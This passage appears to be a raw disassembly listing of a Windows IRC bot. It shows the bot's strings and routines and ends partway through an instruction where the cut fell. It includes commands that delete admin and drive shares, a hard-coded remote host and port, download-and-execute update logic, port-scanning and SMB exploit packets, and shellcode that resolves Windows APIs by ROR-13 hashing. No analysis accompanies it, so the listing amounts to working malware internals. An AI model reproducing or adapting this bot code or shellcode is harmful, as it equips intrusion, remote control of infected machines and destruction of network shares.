0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh dd 43BE66h, 0FFFFFFFFh, 43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh dd 43BE87h, 0FFFFFFFFh, 43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh dd 43BEA8h, 0FFFFFFFFh, 43BEB3h, 35Bh dup(0) dd offset aRrrrrrrrrrrrrr+1Fh dd 106h dup(0) aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G' ; DATA XREF: sub_4034E0+7Fo db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|' db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0 align 4 dd 8 dup(0) asc_4435EC: ; DATA XREF: sub_4034E0+66o ; sub_40FF60:loc_41083Eo ... unicode 0, <|>,0 aS db '%s',0 ; DATA XREF: sub_404C70+875o ; sub_404C70+AF1o ... align 4 aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404C70+831o ; sub_404C70+B5Eo ... align 10h asc_443600: ; DATA XREF: sub_404640:loc_40471Fo ; sub_404640+1EDo ... unicode 0, < >,0 aO db ' -o',0 ; DATA XREF: sub_404640+75o ; sub_40FF60:loc_410949o ... aNetShareAdminD db 'net share admin$ /delete /y',0 dd 2 dup(0) aNetShareIpcDel db 'net share ipc$ /delete /y',0 align 4 dd 0 aNetShareDDelet db 'net share d$ /delete /y',0 align 8 aNetShareCDelet db 'net share c$ /delete /y',0 dd 0 dword_443684 dd 255C7325h, 73h ; sub_40CF60+DEo ... aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o align 8 aN: ; DATA XREF: sub_404C70+D23o unicode 0, <N>,0 aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404C70+977o align 4 aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo align 10h dd 0 aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404C70+6D2o align 10h aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404C70+613o align 10h dd 0 aOpen db 'open',0 ; DATA XREF: sub_404C70+447o ; sub_41C030+Eo align 4 aExec_error db 'exec.error',0 ; DATA XREF: sub_404C70+1A3o ; sub_404C70+9B1o ... align 4 dd 0 aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_4066E0+C3o align 10h aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti' ; DATA XREF: sub_406890+20Fo db 'me: %dd %dh %dm box: %s. user: %s.',0 dd 5 dup(0) aSS_2 db '%s [%s]',0 ; DATA XREF: sub_406890+125o dd 0 a??? db '???',0 ; DATA XREF: sub_406890:loc_40698Bo a2003 db '2003',0 ; DATA XREF: sub_406890+F4o align 10h aXp db 'XP',0 ; DATA XREF: sub_406890+EAo align 4 a2000 db '2000',0 ; DATA XREF: sub_406890+DEo align 4 aMe db 'ME',0 ; DATA XREF: sub_406890+C7o align 10h a98 db '98',0 ; DATA XREF: sub_406890+BBo align 4 aNt db 'NT',0 ; DATA XREF: sub_406890+AFo align 4 a95 db '95',0 ; DATA XREF: sub_406890+9Co align 4 aBai db '-bai',0 ; DATA XREF: ___:loc_406DEDo ; ___:00406E35o align 4 aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406DB0o ; sub_40EC30+88o align 10h aUpdate db '-update',0 ; DATA XREF: ___:00406D73o dd 0 dword_4437EC dd 6265642Dh, 6775hdword_4437F4 dd 6425h ; ___:004086D8o ... dword_4437F8 dd 40h ; sub_40FF60+7CCo ... aHotfix db 'hotfix',0 ; DATA XREF: sub_407790+394o align 4 aTsinternetuser db 'TsInternetUser',0 ; DATA XREF: sub_407790+383o align 8 aAdmin_com db 'admin.com',0 ; DATA XREF: sub_407790+372o align 4 aE10adc3949ba59 db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+361o align 4 dd 0 aAbosal7 db 'abosal7',0 ; DATA XREF: sub_407790+350o align 8 aHail db 'Hail-',0 ; DATA XREF: sub_407790+342o align 10h aWintwir db 'wintwir',0 ; DATA XREF: sub_407790+331o dd 0 aMsnnmaneger_ex db 'msnnmaneger.exe',0 ; DATA XREF: sub_407790+320o align 10h aServec db 'servec',0 ; DATA XREF: sub_407790+30Fo align 4 aS_1 db '#s',0 ; DATA XREF: sub_407790+2FEo align 4 aScop db '#scop#',0 ; DATA XREF: sub_407790+2EDo align 4 aSaad db 'saad',0 ; DATA XREF: sub_407790+2A9o ; sub_407790+2DCo align 4 a7000 db '7000',0 ; DATA XREF: sub_407790+298o ; sub_407790+2CBo align 4 aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o ; sub_407790+2BAo align 10h off_4438C0 dd offset off_43E1D4 ; DATA XREF: ___:0043F00Co align 8 a_?avexception@ db '.?AVexception@@',0 align 10h off_4438E0 dd offset off_43E1D4 ; DATA XREF: ___:0043F02Co align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h dd 2 dup(0) off_443908 dd offset off_43E1D4 ; DATA XREF: ___:0043F04Co align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o ; ___:0040A971o dd 2 dup(0) aTrue db 'true',0 ; DATA XREF: sub_40B680+3Fo ; sub_40B700+43o ... align 4 aF db '%f',0 ; DATA XREF: ___:0040B79Fo align 10h aFalse db 'false',0 ; DATA XREF: ___:0040B844o align 4 aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao align 10h dd 0 aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BA77o align 10h aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o dd 0 aCvar db '(cvar)',0 ; DATA XREF: ___:0040B924o align 4 aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao align 4 dd 0 aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0 ; DATA XREF: sub_40C400+48Ao align 10h aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o align 10h aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C400+327o align 10h dword_443A30 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C400+296o dd 169h, 0 aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o align 4 dd 0 aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o align 8 aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo align 8 aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o align 8 aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o align 10h aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CBB0+1B1o dd 0 asc_443B04: ; DATA XREF: sub_40CBB0+113o ; sub_4200F0+100o unicode 0, <\>,0 aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40CF60+115o align 4 aS_2 db '%s\*',0 ; DATA XREF: sub_40CF60+1Fo align 10h aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D479o align 10h aBai_0 db ' -bai ',0 align 4 aSCS db '%s%c%s',0 align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D580+D1o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D580+C4o align 10h dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o align 10h dd 0 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo align 10h aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D580+98o align 10h aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo align 4 dd 0 aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DB40+381o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah,0 align 4 dd 2 dup(0) aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40ED70+6Ao align 8 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40ED70+21o ; sub_40EF90+Ao ... align 4 dd 0 aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F441o align 10h aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o align 10h dd 0 aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F289o align 8 aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo align 10h dd 0 asc_443C84 db ' :',0 ; DATA XREF: sub_40FF60+E2Bo ; sub_40FF60+1118o ... align 4 asc_443C88: ; DATA XREF: sub_40FF60+CACo ; sub_40FF60+D15o ... unicode 0, <!>,0 aN_0 db ' -n',0 ; DATA XREF: sub_40FF60:loc_410928o ; sub_40FF60:loc_410BB7o aS_3 db ' -s',0 ; DATA XREF: sub_40FF60:loc_4108FFo ; sub_40FF60:loc_410B96o asc_443C94: ; DATA XREF: sub_40FF60+871o ; sub_40FF60:loc_410BD8o ... unicode 0, <:>,0 aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do ; sub_40FF60+732o ... align 8 aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_40FF60+355o db '%s %s 0 0 :%s',0Dh,0Ah,0 align 10h dd 0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40FF60+2C4o ; sub_4126B0+91o ... dd 0 dword_443CD4 dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CE4 dd 0A0D7325h, 0 ; sub_42D1A0+71o dword_443CEC dd 25207325h, 253A2073h, 0A0D73h, 0 ; sub_412970+8Fo dword_443CFC dd 4255505Bh, 5D43494Ch, 0dword_443D08 dd 4952505Bh, 45544156h, 5Dhdword_443D14 dd 202Eh ; sub_4126B0+E5o dword_443D18 dd 3A6E616Ch, 20haUptime db 'uptime',0 ; DATA XREF: ___:loc_412F27o align 4 aHost db 'host',0 ; DATA XREF: ___:loc_412ED4o align 10h aId db 'id',0 ; DATA XREF: ___:loc_412E7Ao align 4 asc_443D34: ; DATA XREF: ___:loc_412E63o dw 3Ch unicode 0, <>,0 asc_443D38: ; DATA XREF: ___:loc_412E4Co dw 3Eh unicode 0, <>,0 asc_443D3C db '==',0 ; DATA XREF: ___:loc_412E35o align 10h asc_443D40 db '!=',0 ; DATA XREF: ___:00412E21o align 4 a2_2x db '%2.2X',0 ; DATA XREF: sub_4137E0+B7o align 4 aSS_6 db '%s: %s',0 ; DATA XREF: sub_4192C0+312o align 4 aSD_0 db '%s: %d',0 ; DATA XREF: sub_4192C0+2EAo align 4 aSD_1 db '%s:%d',0 ; DATA XREF: sub_4192C0+272o ; sub_4192C0+297o align 4 aListening db 'listening',0 ; DATA XREF: sub_4192C0+210o align 10h aEstablished db 'established',0 ; DATA XREF: sub_4192C0+205o align 10h off_443D80 dd offset dword_504354 ; DATA XREF: sub_4192C0+140o ; ___:0042B302o ... dword_443D84 dd 2D464544h, 504354h, 0 ; sub_4192C0+12Eo dword_443D90 dd 652Dh dword_443D94 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o align 10h aSS_3 db '%s%s',0 ; DATA XREF: ___:00419CF1o align 4 aSSS db '%s%s%s',0 ; DATA XREF: ___:00419CCCo align 10h byte_443DD0 db 1 ; DATA XREF: sub_41A290r align 4 dword_443DD4 dd 2Eh ; ___:0041B235o ... dword_443DD8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 ; --------------------------------------------------------------------------- loc_443E24: ; DATA XREF: ___:00421759o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_443E38 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E4C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E84 dd 63257325h, 0 ; sub_41F860+E5o dword_443E8C dd 72h dword_443E90 dd 30h ; sub_424840+327o dword_443E94 dd 3039h dword_443E98 dd 383631h dword_443E9C dd 323931h dword_443EA0 dd 3631h dword_443EA4 dd 323731h dword_443EA8 dd 3031h off_443EAC dd offset dword_5C005C ; DATA XREF: ___:0041C117r ; ___:0041C287r word_443EB0 dw 0 ; DATA XREF: ___:0041C121r ; ___:0041C291r align 4 off_443EB4 dd offset dword_49005C ; DATA XREF: ___:0041C0E6r ; ___:0041C256r dword_443EB8 dd 430050h ; ___:0041C25Br dword_443EBC dd 24h ; ___:0041C27Fr dd 0 aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o align 4 aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D830+5BAo align 4 aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D830+567o align 8 asc_443EF8 db 0Dh,0Ah ; DATA XREF: sub_41D830+48Fo db 0Dh,0Ah,0 align 10h aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D830+3F1o align 10h aWb db 'wb',0 ; DATA XREF: sub_41D830+3C0o ; ___:0041FC87o align 4 aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D830+3AFo align 4 aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do db 'Connection: Keep-Alive',0Dh,0Ah db 'User-Agent: Mozilla/4.5',0Dh,0Ah db 'Host: %s:%d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dd 4 dup(0) aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o align 4 aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D830+2A3o align 4 dd 0 aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D830+25Ao align 4 aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D830+224o align 4 aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D830+1CEo align 10h aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E37Eo align 10h aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E32Fo dd 0 dword_443FFC dd 28737973h, 6F626572h, 29746Fh, 0dword_44400C dd 6469706Bh, 7325203Ah, 0dword_444018 dd 203A736Bh, 7325hdword_444020 dd 202E6425h, 7325202Fh, 0dword_44402C dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o align 10h a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+694o ; sub_41EF30+6A9o align 4 a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30:loc_41F595o ; sub_41EF30+677o align 10h aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0 ; DATA XREF: sub_41EF30+62Bo align 4 dd 2 dup(0) aRb db 'rb',0 ; DATA XREF: sub_41EF30+53Fo align 10h a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+505o ; sub_41EF30+51Ao align 4 asc_4440A8: ; DATA XREF: sub_41EF30+2EFo ; sub_41EF30+33Ao ... unicode 0, <,>,0 a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+286o ; sub_41EF30+29Bo ... align 4 a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+254o ; sub_41EF30+269o align 4 a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+222o ; sub_41EF30+237o align 4 a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+1F3o ; sub_41EF30+205o align 4 aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo align 8 aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co align 4 dd 0 aBinres db 'BINRES',0 ; DATA XREF: ___:0041FCBDo align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_41FF90:loc_41FFE5o ; sub_420530+C4r ... align 10h aImagepath db 'ImagePath',0 ; DATA XREF: sub_4200F0+CBo ; sub_4207E0+316o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o ; sub_4207E0+2BEo align 8 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o align 8 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420530+52o align 10h aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420530+20o ; sub_420530+34o align 4 aSS db '[%s] [%s]',0 ; DATA XREF: sub_4207E0+34Co align 4 aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4207E0+32Do dd 0 aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o align 10h aThemes db 'Themes',0 ; DATA XREF: sub_4207E0+1F6o align 4 aSrservice db 'srservice',0 ; DATA XREF: sub_4207E0+1EBo align 4 aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4207E0+1E0o align 10h aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4207E0+1D5o align 4 aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4207E0+1CAo dd 0 aWebclient db 'WebClient',0 ; DATA XREF: sub_4207E0+1BFo align 10h aW32time db 'W32Time',0 ; DATA XREF: sub_4207E0+1B4o dd 0 aUpnphost db 'upnphost',0 ; DATA XREF: sub_4207E0+1A9o align 4 aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4207E0+19Eo align 4 aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4207E0+193o align 4 aTermservice db 'TermService',0 ; DATA XREF: sub_4207E0+188o dd 0 aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4207E0+17Do align 8 aStisvc db 'stisvc',0 ; DATA XREF: sub_4207E0+172o align 10h aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4207E0+167o dd 0 aSpooler db 'Spooler',0 ; DATA XREF: sub_4207E0+15Co align 8 aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o align 4 aSens db 'SENS',0 ; DATA XREF: sub_4207E0+146o align 4 aSeclogon db 'seclogon',0 ; DATA XREF: sub_4207E0+13Bo align 10h aSchedule db 'Schedule',0 ; DATA XREF: sub_4207E0+130o align 4 aSamss db 'SamSs',0 ; DATA XREF: sub_4207E0+125o align 4 aRpcss db 'RpcSs',0 ; DATA XREF: sub_4207E0+11Ao align 4 aRasman db 'RasMan',0 ; DATA XREF: sub_4207E0+10Fo align 4 aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o align 4 aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4207E0+F9o align 8 aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4207E0+EEo align 4 aNla db 'Nla',0 ; DATA XREF: sub_4207E0+E3o aNetman db 'Netman',0 ; DATA XREF: sub_4207E0+D8o align 10h aMessenger db 'Messenger',0 ; DATA XREF: sub_4207E0+CDo align 4 off_44433C dd offset byte_4D444D ; DATA XREF: sub_4207E0+C5o aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4207E0+BDo dd 0 aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o align 10h dd 0 aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4207E0+ADo align 4 aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4207E0+A5o align 10h aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do align 10h dd 2 dup(0) aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4207E0+95o align 8 aEventlog db 'Eventlog',0 ; DATA XREF: sub_4207E0+8Do align 4 aErsvc db 'ERSvc',0 ; DATA XREF: sub_4207E0+85o align 4 aDnscache db 'Dnscache',0 ; DATA XREF: sub_4207E0+7Do align 4 aDmserver db 'dmserver',0 ; DATA XREF: sub_4207E0+75o align 4 aDhcp db 'Dhcp',0 ; DATA XREF: sub_4207E0+6Do align 4 aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4207E0+65o align 4 aBrowser db 'Browser',0 ; DATA XREF: sub_4207E0+5Do dd 0 aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4207E0+55o ; sub_4207E0:loc_420A6Bo align 10h asc_444410: ; DATA XREF: sub_420E10:loc_420ECFo ; sub_420E10+F9o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_420E10+94o ; sub_420E10:loc_42107Eo ... aHttp db 'http',0 ; DATA XREF: sub_420E10+84o ; sub_420E10+257o ... align 10h aAsn db 'asn',0 ; DATA XREF: sub_4227F0+31o dd 0 dd 73610000h, 6Eh, 6 dup(0) dword_444448 dd 1BDh ; sub_422A40+310o ... off_44444C dd offset sub_401811 ; DATA XREF: ___:00423E93r dword_444450 dd 0 ; sub_4235F0+3Ar ... dd 1, 0 aAsn2 db 'asn2',0 align 4 dd 73610000h, 326Eh, 6 dup(0) dd 1BDh, 401811h, 0 dd 1, 19h dup(0) aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads' ; DATA XREF: sub_422A40+8F3o db 0 align 4 dd 3 dup(0) aSequential db 'sequential',0 ; DATA XREF: sub_422A40+8B3o align 8 aRandom db 'random',0 ; DATA XREF: sub_422A40+8ACo align 10h aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o align 4 dd 0 aB db ' -b',0 ; DATA XREF: sub_422A40+747o aA db ' -a',0 ; DATA XREF: sub_422A40+737o ; sub_422A40+7A3o ... aR db ' -r',0 ; DATA XREF: sub_422A40:loc_423167o ; sub_422A40+7E5o aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o align 10h aTotalD db ' total: %d',0 ; DATA XREF: sub_422A40+397o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_422A40+35Fo align 4 aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422A40+336o align 4 aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o align 10h aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo align 8 aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o align 8 aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o align 10h aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o align 8 aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422A40+6Do align 4 dd 0 dword_44467C dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o align 10h aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423B25o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o align 10h aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo align 8 aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao align 10h aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:00423CD6o align 10h aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: ___:004241D7o align 4 dd 3 dup(0) aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: ___:00424126o dd 3 dup(0) aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:0042406Fo dd 3 dup(0) aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424840+BDo align 10h dword_444840 dd 10FF8h, 0 dword_444848 dd 10FF8h dword_44484C dd 7FFDF020h, 0 dword_444854 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4448DC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_44490C dd 0 dword_444910 dd 800000D4h align 8 ; =============== S U B R O U T I N E ======================================= sub_444918 proc near ; DATA XREF: sub_425020+85o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_444A14 push dword ptr [esi] push 63D61209h call sub_444A2A mov [esi+8], eax call sub_4449DD push dword ptr [esi+4] push 0CA2BD06Bh call sub_444A2A mov [esi+0Ch], eax call sub_44498F push dword ptr [esi+4] push 4C0297FAh call sub_444A2A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_444918 endp ; =============== S U B R O U T I N E ======================================= sub_44498F proc near ; CODE XREF: sub_444918+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_4449B8 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_44498F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4449B8 proc near ; CODE XREF: sub_44498F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_4449C7: ; CODE XREF: sub_4449B8+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4449D4 inc ebx jmp short loc_4449C7 ; --------------------------------------------------------------------------- loc_4449D4: ; CODE XREF: sub_4449B8+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_4449B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4449DD proc near ; CODE XREF: sub_444918+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4449F5: ; CODE XREF: sub_4449DD+1Ej cmp [ecx], ebx jz short loc_4449FD mov ecx, [ecx] jmp short loc_4449F5 ; --------------------------------------------------------------------------- loc_4449FD: ; CODE XREF: sub_4449DD+1Aj mov edx, edi loc_4449FF: ; CODE XREF: sub_4449DD+2Aj cmp [edx+4], ebx jz short loc_444A09 mov edx, [edx+4] jmp short loc_4449FF ; --------------------------------------------------------------------------- loc_444A09: ; CODE XREF: sub_4449DD+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4449DD endp ; =============== S U B R O U T I N E ======================================= sub_444A14 proc near ; CODE XREF: sub_444918+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_444A14 endp ; =============== S U B R O U T I N E ======================================= sub_444A2A proc near ; CODE XREF: sub_444918+16p ; sub_444918+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_444A40: ; CODE XREF: sub_444A2A+33j jecxz short loc_444A7A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_444A4D: ; CODE XREF: sub_444A2A+2Dj lodsb cmp al, ah jz short loc_444A59 ror edi, 0Dh add edi, eax jmp short loc_444A4D ; --------------------------------------------------------------------------- loc_444A59: ; CODE XREF: sub_444A2A+26j cmp edi, [esp+20h+arg_0] jnz short loc_444A40 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add 